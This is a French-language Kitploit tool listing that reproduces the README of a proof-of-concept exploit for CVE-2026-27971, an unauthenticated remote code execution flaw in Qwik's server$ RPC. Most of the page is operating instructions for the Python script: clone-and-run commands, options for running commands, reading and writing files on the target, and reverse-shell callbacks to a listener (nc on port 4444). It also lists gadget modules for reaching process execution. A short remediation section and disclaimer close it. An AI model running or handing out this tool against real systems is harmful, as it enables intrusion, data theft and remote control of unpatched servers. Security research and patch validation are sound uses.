Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Outils/GitHubGitHub/ghalendar/cve-2026-27971_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Voir le dépôt
5il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-27971 — PoC RCE non authentifiée pour Qwik server$

[!WARNING] Ce dépôt contient une preuve de concept active d’exécution de code à distance. Ne l’utilisez que sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L’auteur décline toute responsabilité en cas d’utilisation non autorisée ou de dommages.

Une preuve de concept Python autonome pour CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, une vulnérabilité d’exécution de code à distance non authentifiée dans le mécanisme de désérialisation RPC server$ de Qwik.

Le PoC peut effectuer une sonde de marqueur active, exécuter des commandes, lire ou écrire des fichiers texte et demander un reverse shell sur des cibles Linux ou Windows. Il utilise uniquement la bibliothèque standard de Python.

Résumé de la vulnérabilité

Télécharger l’outil
ChampValeur
ProduitQwik — paquet npm @builder.io/qwik
Versions concernées<= 1.19.0
Version corrigée1.19.1
VulnérabilitéExécution de code à distance non authentifiée via une désérialisation non sécurisée de server$
Condition d’exécutionrequire() doit être disponible à l’exécution
CWECWE-502 — Désérialisation de données non fiables
SévéritéCritique — CVSS 4.0 : 9.2
VecteurCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Une requête application/qwik-json spécialement conçue peut référencer un module côté serveur et un symbole exporté. Les versions vulnérables de Qwik peuvent résoudre un QRL non enregistré via require() à l’exécution et l’invoquer sans authentification. Ce PoC tente d’atteindre une exportation d’exécution de processus compatible déjà présente dans le node_modules de la cible.

Prérequis

Opérateur :

  • Python 3.
  • Un accès réseau à la route Qwik exacte qui traite la requête server$/Qwik JSON.
  • Un listener joignable depuis la cible lors des tests de la fonctionnalité reverse shell.

Cible :

  • Un déploiement Qwik vulnérable utilisant @builder.io/qwik <= 1.19.0.
  • Un environnement d’exécution où require() est disponible.
  • Un module gadget compatible et une exportation accessibles dans node_modules.
  • node disponible dans le PATH du processus du service.
  • Des permissions de compte de service suffisantes pour la commande ou l’opération sur fichier demandée.

Aucun paquet Python tiers n’est requis.

Démarrage rapide

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Lister les gadgets intégrés sans envoyer de requête :

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Exécuter une sonde de marqueur active et tester chaque gadget intégré :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe n’est pas une détection passive de version. Il tente une exécution de code à distance et la confirme en affichant un marqueur depuis le processus cible.

Exemples d’utilisation

Exécuter une commande :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Lire un fichier texte UTF-8 :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Écrire et vérifier un fichier texte UTF-8 :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Demander un reverse shell après avoir démarré un listener persistant :

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Forcer la charge utile de reverse shell Windows lorsque la détection automatique du système d’exploitation n’est pas appropriée :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Le script ne démarre pas de listener. La vérification préalable --callback ouvre et ferme une connexion TCP distincte avant d’envoyer la charge utile du shell ; utilisez donc un listener capable d’accepter plusieurs connexions.

Référence CLI

OptionDescription
-t URL, --target URLURL cible exacte. Défaut : http://localhost:3000. La route n’est pas découverte automatiquement.
--probeExécuter activement une charge utile de marqueur et tenter la détection du système d’exploitation.
-c CMD, --CMD CMDExécuter une commande via Node.js child_process.execSync().
--read PATHLire un fichier texte UTF-8 à l’aide de fs.readFileSync().
--write PATH --content TEXTÉcrire un fichier texte, le relire, puis comparer le résultat. Les répertoires parents ne sont pas créés.
--list-gadgetsAfficher les noms des gadgets intégrés et quitter sans requête réseau.
--lhost IPActiver le mode reverse shell et définir l’adresse de rappel.
--lport PORTDéfinir le port de rappel. Défaut : 4444.
--rev-allEnvoyer toutes les variantes de reverse shell au lieu de s’arrêter après la première requête HTTP acceptée.
--callbackTester la connectivité TCP sortante avant d’envoyer une charge utile de reverse shell.
--OS {auto,linux,windows}Sélectionner la famille de charges utiles de reverse shell. Défaut : auto.
--gadget SPECUtiliser auto, un nom intégré ou un <module>#<symbol> personnalisé. Défaut : cross-spawn.sync.
--arg-style {argv,command,shell}Style d’arguments pour un gadget <module>#<symbol> personnalisé.
--timeout SECONDSDélai d’attente HTTP côté client. Défaut : 30.
--verify-sslActiver la vérification du certificat TLS et du nom d’hôte. La vérification est désactivée par défaut.

Les modes d’action ne sont pas mutuellement exclusifs dans l’analyseur. Utilisez l’un des --probe, --CMD, --read, --write ou --lhost par invocation.

Gadgets intégrés

NomModule et exportationStyle
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto teste ces gadgets dans l’ordre indiqué. Un gadget personnalisé peut être fourni comme suit :

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitations importantes

  • Une sonde négative n’est pas une preuve que la cible est corrigée. Elle peut indiquer une route incorrecte, un gadget manquant ou incompatible, une erreur réseau/TLS, un filtrage ou une disposition de déploiement différente.
  • Le gadget par défaut est cross-spawn.sync, pas la découverte automatique. Utilisez --gadget auto lorsque la disposition des dépendances de la cible est inconnue.
  • L’outil ne propose pas d’options pour les cookies, les en-têtes d’autorisation, les proxys ou les en-têtes personnalisés arbitraires.
  • Les opérations sur les fichiers sont orientées texte. --read attend de l’UTF-8 et --write n’est pas prévu pour les données binaires.
  • Les chemins relatifs sont résolus à partir du répertoire de travail du processus Qwik. Toutes les opérations sont exécutées avec les permissions du compte de service Qwik.
  • Les messages de succès du reverse shell indiquent que la requête HTTP d’exploitation a été acceptée ; ils ne prouvent pas qu’un rappel a été reçu.
  • --rev-all peut démarrer plusieurs processus ou rappels sur la cible. Ne l’utilisez que dans un laboratoire isolé.
  • Les codes de sortie du processus reflètent principalement le traitement de la sonde et du transport, et non l’état de sortie de la commande distante ni la présence d’un shell fonctionnel.
  • L’outil n’identifie pas la version de Qwik installée et ne doit pas être utilisé comme substitut à un inventaire des dépendances.

Remédiation

Mettez à niveau @builder.io/qwik vers 1.19.1 ou une version ultérieure, mettez à jour le lockfile, reconstruisez l’application et redéployez tous les artefacts serveur. La suppression d’un gadget compatible ne constitue pas à elle seule un correctif complet de la vulnérabilité sous-jacente de Qwik.

Références

  • Avis de sécurité Qwik — GHSA-p9x5-jp3h-96mm
  • Base de données des avis GitHub — CVE-2026-27971
  • Version corrigée de Qwik 1.19.1
  • Commit de correctif en amont
  • Fiche CVE
  • Entrée NVD

Avis juridique

Ce projet est fourni pour la recherche en sécurité, la validation défensive et les tests autorisés. Ne l’utilisez pas contre des systèmes sans autorisation explicite.